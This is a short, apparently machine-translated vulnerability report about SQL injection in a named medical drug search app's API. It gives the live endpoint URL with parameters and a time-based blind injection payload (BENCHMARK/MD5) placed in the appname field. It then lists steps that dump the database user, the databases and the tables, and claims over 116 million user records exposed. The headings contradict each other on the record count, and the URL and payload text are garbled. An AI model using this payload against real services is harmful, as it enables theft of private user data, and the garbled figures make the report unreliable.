SQL Injection exists in the official medical drug search APP (involving more than 1 million user data)

SQL Injection exists in the official medical drug search APP (involving more than 1 million user data)

SQL Injection (including 116 million + User Data) exists in the official medical drug search APP

Objective: To detect the Android APP of a doctor and find SQL injection in the following places:
Http://api.m.xywy.com/api? M = Askintegral & act = apply & appname = ask & edition = 4.3 & model = 1 & sign = 3f36f776d163c6b6c74b1adfdc1b41db
Payload:
Appname = ask ') AND (SELECT * FROM (SELECT (BENCHMARK (2000000, MD5 (0x666c5a50) flZP) AND ('fmij' = 'fmij
1. Run out of the current database user

2. Run out of all databases

3. Run out all the tables in the current database and find more than 116 million user data ~